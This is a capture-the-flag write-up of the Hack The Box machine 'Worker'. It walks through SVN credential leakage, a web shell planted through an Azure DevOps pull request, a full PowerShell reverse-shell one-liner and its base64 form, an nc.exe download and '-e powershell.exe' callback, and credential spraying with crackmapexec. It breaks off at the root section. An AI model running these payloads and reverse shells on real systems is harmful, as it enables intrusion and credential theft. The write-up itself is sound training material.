--- search: exclude: true --- # Worker Writeup ![](img/60.png) ## Introduction : Worker is a Medium Windows box released back in August 2020. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → nmap -vvv -p- 10.10.10.203 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered Discovered open port 80/tcp on 10.10.10.203 [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → nmap -sCV -p 80 10.10.10.203 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 12:27 CEST Nmap scan report for 10.10.10.203 Host is up (0.47s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: ![](prg/60_001.png) As expected our nmap scan finds an IIS windows server http service on port 80. Now when you're on HTB and you just started a machine, some ports take more time to open up. and running the nmap scan once again reveals other ports: [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → nmap -vvv -p- 10.10.10.203 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered Discovered open port 80/tcp on 10.10.10.203 Discovered open port 5985/tcp on 10.10.10.203 Discovered open port 3690/tcp on 10.10.10.203 So we run nmap on those ports to see what they are about: [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → nmap -sCV -p5985,3690 10.10.10.203 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 13:00 CEST Nmap scan report for 10.10.10.203 Host is up (0.47s latency). PORT STATE SERVICE VERSION 3690/tcp open svnserve Subversion 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.02 seconds Now we know that we seem to have a MS-HTTPAPI on port 5985, and on port 3690 we have a **snvserver** service, let's enumerate it with **svn** [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → svn --help usage: svn [options] [args] Subversion command-line client. Type 'svn help ' for help on a specific subcommand. Type 'svn --version' to see the program version and RA modules, 'svn --version --verbose' to see dependency versions as well, 'svn --version --quiet' to see just the version number. Most subcommands take file and/or directory arguments, recursing on the directories. If no arguments are supplied to such a command, it recurses on the current directory (inclusive) by default. Available subcommands: add auth blame (praise, annotate, ann) cat changelist (cl) checkout (co) cleanup commit (ci) copy (cp) delete (del, remove, rm) diff (di) export help (?, h) import info list (ls) lock log merge mergeinfo mkdir move (mv, rename, ren) patch propdel (pdel, pd) propedit (pedit, pe) propget (pget, pg) proplist (plist, pl) propset (pset, ps) relocate resolve resolved revert status (stat, st) switch (sw) unlock update (up) upgrade Subversion is a tool for version control. For additional information, see http://subversion.apache.org/ [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → svn checkout svn://10.10.10.203 A dimension.worker.htb A dimension.worker.htb/LICENSE.txt A dimension.worker.htb/README.txt A dimension.worker.htb/assets A dimension.worker.htb/assets/css A dimension.worker.htb/assets/css/fontawesome-all.min.css A dimension.worker.htb/assets/css/main.css A dimension.worker.htb/assets/css/noscript.css A dimension.worker.htb/assets/js A dimension.worker.htb/assets/js/breakpoints.min.js A dimension.worker.htb/assets/js/browser.min.js A dimension.worker.htb/assets/js/jquery.min.js A dimension.worker.htb/assets/js/main.js A dimension.worker.htb/assets/js/util.js A dimension.worker.htb/assets/sass A dimension.worker.htb/assets/sass/base A dimension.worker.htb/assets/sass/base/_page.scss A dimension.worker.htb/assets/sass/base/_reset.scss A dimension.worker.htb/assets/sass/base/_typography.scss A dimension.worker.htb/assets/sass/components A dimension.worker.htb/assets/sass/components/_actions.scss A dimension.worker.htb/assets/sass/components/_box.scss A dimension.worker.htb/assets/sass/components/_button.scss A dimension.worker.htb/assets/sass/components/_form.scss A dimension.worker.htb/assets/sass/components/_icon.scss A dimension.worker.htb/assets/sass/components/_icons.scss A dimension.worker.htb/assets/sass/components/_image.scss A dimension.worker.htb/assets/sass/components/_list.scss A dimension.worker.htb/assets/sass/components/_table.scss A dimension.worker.htb/assets/sass/layout A dimension.worker.htb/assets/sass/layout/_bg.scss A dimension.worker.htb/assets/sass/layout/_footer.scss A dimension.worker.htb/assets/sass/layout/_header.scss A dimension.worker.htb/assets/sass/layout/_main.scss A dimension.worker.htb/assets/sass/layout/_wrapper.scss A dimension.worker.htb/assets/sass/libs A dimension.worker.htb/assets/sass/libs/_breakpoints.scss A dimension.worker.htb/assets/sass/libs/_functions.scss A dimension.worker.htb/assets/sass/libs/_mixins.scss A dimension.worker.htb/assets/sass/libs/_vars.scss A dimension.worker.htb/assets/sass/libs/_vendor.scss A dimension.worker.htb/assets/sass/main.scss A dimension.worker.htb/assets/sass/noscript.scss A dimension.worker.htb/assets/webfonts A dimension.worker.htb/assets/webfonts/fa-brands-400.eot A dimension.worker.htb/assets/webfonts/fa-brands-400.svg A dimension.worker.htb/assets/webfonts/fa-brands-400.ttf A dimension.worker.htb/assets/webfonts/fa-brands-400.woff A dimension.worker.htb/assets/webfonts/fa-brands-400.woff2 A dimension.worker.htb/assets/webfonts/fa-regular-400.eot A dimension.worker.htb/assets/webfonts/fa-regular-400.svg A dimension.worker.htb/assets/webfonts/fa-regular-400.ttf A dimension.worker.htb/assets/webfonts/fa-regular-400.woff A dimension.worker.htb/assets/webfonts/fa-regular-400.woff2 A dimension.worker.htb/assets/webfonts/fa-solid-900.eot A dimension.worker.htb/assets/webfonts/fa-solid-900.svg A dimension.worker.htb/assets/webfonts/fa-solid-900.ttf A dimension.worker.htb/assets/webfonts/fa-solid-900.woff A dimension.worker.htb/assets/webfonts/fa-solid-900.woff2 A dimension.worker.htb/images A dimension.worker.htb/images/bg.jpg A dimension.worker.htb/images/overlay.png A dimension.worker.htb/images/pic01.jpg A dimension.worker.htb/images/pic02.jpg A dimension.worker.htb/images/pic03.jpg A dimension.worker.htb/index.md A moved.txt Checked out revision 5. So now we have a domain name **dimension.worker.htb** so let's add it to our hosts file: [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] → sudo -i [sudo] password for nothing: ┌──(root💀nowhere)-[~] └─# echo '10.10.10.203 dimension.worker.htb worker.htb' >> /etc/hosts ┌──(root💀nowhere)-[~] └─# ping -c1 worker.htb PING dimension.worker.htb (10.10.10.203) 56(84) bytes of data. 64 bytes from dimension.worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=467 ms --- dimension.worker.htb ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 466.764/466.764/466.764/0.000 ms ┌──(root💀nowhere)-[~] └─# ping -c1 dimension.worker.htb PING dimension.worker.htb (10.10.10.203) 56(84) bytes of data. 64 bytes from dimension.worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=468 ms --- dimension.worker.htb ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 467.971/467.971/467.971/0.000 ms ┌──(root💀nowhere)-[~] └─# exit [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] → Now we enumerate the snv service further, since running svn checkout gave us revision 5 we now run svn diff to view the changes for revisions 2-3: [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → svn diff -r 2 Index: deploy.ps1 =================================================================== --- deploy.ps1 (revision 2) +++ deploy.ps1 (nonexistent) @@ -1,6 +0,0 @@ -$user = "nathen" -$plain = "wendel98" -$pwd = ($plain | ConvertTo-SecureString) -$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd -$args = "Copy-Site.ps1" -Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args") Index: moved.txt =================================================================== --- moved.txt (nonexistent) +++ moved.txt (revision 5) @@ -0,0 +1,5 @@ +This repository has been migrated and will no longer be maintaned here. +You can find the latest version at: http://devops.worker.htb + +// The Worker team :) + Now here we get a hint towards a certain **deploy.ps1** file, and a certain **devops.worker.htb** subdomain which we will add to our hosts file. We seem to also get credentials **nathen:wendel98**. Attempting to get to http://devops.worker.htb gives us a basicauth login prompt onto which we use nathen's credentials: ![](prg/60_002.png) ![](prg/60_003.png) And we get access to an Azure DevOps webpage into which we seem to be logged in as the user ekenas. We navigate into the SmartHotel 360 repository and we see the following project: ![](prg/60_004.png) When we take a look at the pipelines we see the following: ![](prg/60_005.png) ![](prg/60_006.png) Now here we get more infos, there seen to be a W:\ drive onto which there is a website root directory.Now let's navigate to the repo itself and clone it: ![](prg/60_007.png) [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral Cloning into 'spectral'... Username for 'http://devops.worker.htb': nathen Password for 'http://nathen@devops.worker.htb': remote: Azure Repos remote: Found 57 objects to send. (84 ms) Unpacking objects: 100% (57/57), 1.34 MiB | 150.00 KiB/s, done. [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → ls -lash dimension.worker.htb total 56K 4.0K drwxr-xr-x 4 nothing nothing 4.0K Jun 27 13:03 . 4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:54 .. 4.0K drwxr-xr-x 6 nothing nothing 4.0K Jun 27 13:03 assets 4.0K drwxr-xr-x 2 nothing nothing 4.0K Jun 27 13:03 images 16K -rw-r--r-- 1 nothing nothing 15K Jun 27 13:03 index.html 20K -rw-r--r-- 1 nothing nothing 17K Jun 27 13:03 LICENSE.txt 4.0K -rw-r--r-- 1 nothing nothing 771 Jun 27 13:03 README.txt Now from here, we have access to the files of **spectral.worker.htb** so what we can do is upload an .aspx command webshell onto the repository since we have nathen's credentials. Obviously as we saw earlier we also have access to the website itself after we add it to our hosts file: ![](prg/60_008.png) So we should be able to upload our cmd webshell and also browse to it. [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/worker] → cd spectral [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → ls -lash total 80K 4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:54 . 4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:57 .. 4.0K drwxr-xr-x 6 nothing nothing 4.0K Jun 27 13:54 assets 20K -rw-r--r-- 1 nothing nothing 18K Jun 27 13:54 elements.html 8.0K -rw-r--r-- 1 nothing nothing 4.9K Jun 27 13:54 generic.html 4.0K drwxr-xr-x 8 nothing nothing 4.0K Jun 27 13:54 .git 4.0K drwxr-xr-x 2 nothing nothing 4.0K Jun 27 13:54 images 8.0K -rw-r--r-- 1 nothing nothing 6.9K Jun 27 13:54 index.html 20K -rw-r--r-- 1 nothing nothing 17K Jun 27 13:54 LICENSE.txt 4.0K -rw-r--r-- 1 nothing nothing 1.3K Jun 27 13:54 README.txt [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → cp /usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx cmd.aspx Now we try to do a git commit to push our cmd webshell to the repository: [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git add . [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git commit -m 'nihilist' [master 667034b] nihilist 1 file changed, 42 insertions(+) create mode 100755 cmd.aspx [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git push Username for 'http://devops.worker.htb': nathen Password for 'http://nathen@devops.worker.htb': Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 4 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 977 bytes | 977.00 KiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 remote: Analyzing objects... (3/3) (94 ms) remote: Storing packfile... done (252 ms) remote: Storing index... done (142 ms) To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral ! [remote rejected] master -> master (TF402455: Pushes to this branch are not permitted; you must use a pull request to update this branch.) error: failed to push some refs to 'http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral' Doesnt work so we just create a new branch: [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git branch nihilist [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git checkout nihilist Switched to branch 'nihilist' [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git push --set-upstream origin nihilist Username for 'http://devops.worker.htb': nathen Password for 'http://nathen@devops.worker.htb': Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 4 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 977 bytes | 977.00 KiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 remote: Analyzing objects... (3/3) (4 ms) remote: Storing packfile... done (23 ms) remote: Storing index... done (27 ms) To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral * [new branch] nihilist -> nihilist Branch 'nihilist' set up to track remote branch 'nihilist' from 'origin'. This time our branch managed to get pushed, now we return to the azure git web interface, and we see our new branch: ![](prg/60_009.png) Here we see our new branch, so we return to master to create a pull request in order to merge our repository into the master branch: ![](prg/60_010.png) We basically need to add a random work item and then we just click **Create** : ![](prg/60_011.png) Note: the git branches are regularly cleaned up so you need to create your PR and merge it quickly. Once the PR is created, we need to approve it: ![](prg/60_012.png) ![](prg/60_013.png) Once it's approved we complete the branch merge: ![](prg/60_014.png) ![](prg/60_015.png) And now our cmd.aspx file should be uploaded: ![](prg/60_016.png) ![](prg/60_017.png) ![](prg/60_018.png) So now we get command execution as the **iis apppool\defaultapppool** user. ![](prg/60_019.png) And as we can see, this box resets even the merges we did regularly, so we redo a PR to spawn a shell the second time once we are in cmd.aspx, we will use **Invoke-PowerShellTcpOneLine.ps1** : [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → locate Invoke-PowerShellTcp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLineBind.ps1 [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → locate Invoke-PowerShellTcpOneLine.ps1 /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cp $(locate Invoke-PowerShellTcpOneLine.ps1) . [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → vim Invoke-PowerShellTcpOneLine.ps1 [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() Now to be able to transfer it to the windows box, we need to convert it to a base64 format that windows will accept, to do so we use **iconv -t utf-16le** you won't see the difference without using xxd: [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1| xxd 00000000: 2463 6c69 656e 7420 3d20 4e65 772d 4f62 $client = New-Ob 00000010: 6a65 6374 2053 7973 7465 6d2e 4e65 742e ject System.Net. 00000020: 536f 636b 6574 732e 5443 5043 6c69 656e Sockets.TCPClien 00000030: 7428 2231 302e 3130 2e31 342e 3131 222c t("10.10.14.11", 00000040: 3930 3031 293b 2473 7472 6561 6d20 3d20 9001);$stream = [...] [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | xxd 00000000: 2400 6300 6c00 6900 6500 6e00 7400 2000 $.c.l.i.e.n.t. . 00000010: 3d00 2000 4e00 6500 7700 2d00 4f00 6200 =. .N.e.w.-.O.b. 00000020: 6a00 6500 6300 7400 2000 5300 7900 7300 j.e.c.t. .S.y.s. 00000030: 7400 6500 6d00 2e00 4e00 6500 7400 2e00 t.e.m...N.e.t... 00000040: 5300 6f00 6300 6b00 6500 7400 7300 2e00 S.o.c.k.e.t.s... 00000050: 5400 4300 5000 4300 6c00 6900 6500 6e00 T.C.P.C.l.i.e.n. 00000060: 7400 2800 2200 3100 3000 2e00 3100 3000 t.(.".1.0...1.0. [...] So we convert our powershell reverse shell one liner to **utf-16le** and then to base64 without new lines (we use **-w0**): [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | base64 -w0 JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA= Now that's ready we prepare our netcat listener on port 9001: [ 10.10.14.11/23 ] [ /dev/pts/29 ] [HTB/worker/spectral] → nc -lvnp 9001 listening on [any] 9001 ... And once we merged our nihilist git branch again we could use the following command on our aspx webshell: /c powershell -enc BASE64ONELINERREVSHELLSTRING Or we can just upload a reverse shell .aspx file directly: [ 10.10.14.11/23 ] [ /dev/pts/0 ] [HTB/worker/spectral] → wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx --2021-06-27 16:00:31-- https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 15968 (16K) [text/plain] Saving to: ‘shell.aspx’ shell.aspx 100%[======================================================================================================================================================>] 15.59K --.-KB/s in 0.03s 2021-06-27 16:00:32 (491 KB/s) - ‘shell.aspx’ saved [15968/15968] [ 10.10.14.11/23 ] [ /dev/pts/0 ] [HTB/worker/spectral] → vim shell.aspx # we change the destination ip and destination port to be 10.10.14.11 and port 9001 # protected void Page_Load(object sender, EventArgs e) # { # String host = "10.10.14.11"; //CHANGE THIS # int port = 9002; ////CHANGE THIS # # [...] [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git add . [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git commit -m 'shell.aspx' [nihilist 7d2a3e0] shell.aspx 1 file changed, 423 insertions(+) create mode 100644 shell.aspx [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → git push --set-upstream origin nihilist Username for 'http://devops.worker.htb': nathen Password for 'http://nathen@devops.worker.htb': Enumerating objects: 7, done. Counting objects: 100% (7/7), done. Delta compression using up to 4 threads Compressing objects: 100% (6/6), done. Writing objects: 100% (6/6), 4.68 KiB | 2.34 MiB/s, done. Total 6 (delta 2), reused 0 (delta 0), pack-reused 0 remote: Analyzing objects... (6/6) (3 ms) remote: Storing packfile... done (17 ms) remote: Storing index... done (30 ms) To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral * [new branch] nihilist -> nihilist Branch 'nihilist' set up to track remote branch 'nihilist' from 'origin'. merge the branches from devops.worker.htb as usual and use the netcat listener on port 9002, and apparently you can't even run that shell.aspx file, so instead we're going to use the netcat binary, we're going to drop it into **C:\temp** which is a directory we create from **cmd.aspx** : ![](prg/60_020.png) [ 10.10.14.11/23 ] [ /dev/pts/34 ] [HTB/worker/spectral] → cp /home/nothing/HTB/json/nihilist/nc.exe . [ 10.10.14.11/23 ] [ /dev/pts/34 ] [HTB/worker/spectral] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... [from cmd.aspx] **powershell -c iwr -Uri http://10.10.14.11:9090/nc.exe -O C:\temp\nc.exe** ` ![](prg/60_021.png) And then simply use the netcat binary directly **C:\temp\nc.exe 10.10.14.11 9002 -e powershell.exe** [ 10.10.14.11/23 ] [ /dev/pts/29 ] [HTB/worker/spectral] → rlwrap nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.203] 51608 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. whoami whoami iis apppool\defaultapppool PS C:\windows\system32\inetsrv> And we get a reverse shell! Now a while back we saw that there was a **W:\** drive so let's explore it: cd W:\ cd W:\ dir dir Directory: W:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2020-06-16 18:59 agents d----- 2020-03-28 14:57 AzureDevOpsData d----- 2020-04-03 11:31 sites d----- 2020-06-20 16:04 svnrepos cd svnrepos\www\conf Directory: W:\svnrepos\www\conf Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2020-06-20 11:29 1112 authz -a---- 2020-06-20 11:29 904 hooks-env.tmpl -a---- 2020-06-20 15:27 1031 passwd -a---- 2020-04-04 20:51 4454 svnserve.conf PS W:\svnrepos\www\conf> type passwd And from this file we get alot of credentials in cleartext so we can make a wordlist of users and passwords to try with crackmapexec: type passwd ### This file is an example password file for svnserve. ### Its format is similar to that of svnserve.conf. As shown in the ### example below it contains one section labelled [users]. ### The name and password for each user follow, one account per line. [users] nathen = wendel98 nichin = fqerfqerf nichin = asifhiefh noahip = player nuahip = wkjdnw [...] [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] → cat creds.txt nathen:wendel98 nichin:fqerfqerf nichin:asifhiefh noahip:player nuahip:wkjdnw oakhol:bxwdjhcue owehol:supersecret paihol:painfulcode [...] [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] → awk -F: '{print $1}' creds.txt > users.txt [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] → awk -F: '{print $2}' creds.txt > passwords.txt And we can just bruteforce the which of these credentials are valid for the winrm service using crackmapexec: [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] → crackmapexec winrm 10.10.10.203 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success WINRM 10.10.10.203 5985 NONE [*] None (name:10.10.10.203) (domain:None) WINRM 10.10.10.203 5985 NONE [*] http://10.10.10.203:5985/wsman WINRM 10.10.10.203 5985 NONE [-] None\nathen:wendel98 WINRM 10.10.10.203 5985 NONE [-] None\nichin:fqerfqerf WINRM 10.10.10.203 5985 NONE [-] None\nichin:asifhiefh WINRM 10.10.10.203 5985 NONE [-] None\noahip:player WINRM 10.10.10.203 5985 NONE [-] None\nuahip:wkjdnw WINRM 10.10.10.203 5985 NONE [-] None\oakhol:bxwdjhcue WINRM 10.10.10.203 5985 NONE [-] None\owehol:supersecret WINRM 10.10.10.203 5985 NONE [-] None\paihol:painfulcode WINRM 10.10.10.203 5985 NONE [-] None\parhol:gitcommit WINRM 10.10.10.203 5985 NONE [-] None\pathop:iliketomoveit WINRM 10.10.10.203 5985 NONE [-] None\pauhor:nowayjose WINRM 10.10.10.203 5985 NONE [-] None\payhos:icanjive WINRM 10.10.10.203 5985 NONE [-] None\perhou:elvisisalive WINRM 10.10.10.203 5985 NONE [-] None\peyhou:ineedvacation WINRM 10.10.10.203 5985 NONE [-] None\phihou:pokemon WINRM 10.10.10.203 5985 NONE [-] None\quehub:pickme WINRM 10.10.10.203 5985 NONE [-] None\quihud:kindasecure WINRM 10.10.10.203 5985 NONE [-] None\rachul:guesswho WINRM 10.10.10.203 5985 NONE [-] None\raehun:idontknow WINRM 10.10.10.203 5985 NONE [-] None\ramhun:thisis WINRM 10.10.10.203 5985 NONE [-] None\ranhut:getting WINRM 10.10.10.203 5985 NONE [-] None\rebhyd:rediculous WINRM 10.10.10.203 5985 NONE [-] None\reeinc:iagree WINRM 10.10.10.203 5985 NONE [-] None\reeing:tosomepoint WINRM 10.10.10.203 5985 NONE [-] None\reiing:isthisenough WINRM 10.10.10.203 5985 NONE [-] None\renipr:dummy WINRM 10.10.10.203 5985 NONE [-] None\rhiire:users WINRM 10.10.10.203 5985 NONE [-] None\riairv:canyou WINRM 10.10.10.203 5985 NONE [-] None\ricisa:seewhich WINRM 10.10.10.203 5985 NONE [-] None\robish:onesare **WINRM 10.10.10.203 5985 NONE [+] None\robisl:wolves11 (Pwn3d!)** WINRM 10.10.10.203 5985 NONE [-] None\robive:andwhich WINRM 10.10.10.203 5985 NONE [-] None\ronkay:onesare WINRM 10.10.10.203 5985 NONE [-] None\rubkei:the WINRM 10.10.10.203 5985 NONE [-] None\rupkel:sheeps WINRM 10.10.10.203 5985 NONE [-] None\ryakel:imtired WINRM 10.10.10.203 5985 NONE [-] None\sabken:drjones WINRM 10.10.10.203 5985 NONE [-] None\samken:aqua WINRM 10.10.10.203 5985 NONE [-] None\sapket:hamburger WINRM 10.10.10.203 5985 NONE [-] None\sarkil:friday And we get valid credentials for the robisl user! so let's spawn an evil-winrm session: [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] → evil-winrm -i worker.htb -u robisl -p wolves11 Evil-WinRM shell v2.4 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\robisl\Documents> whoami worker\robisl So now from here we can get the user flag: *Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt 51XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ## **Part 3 : Getting Root 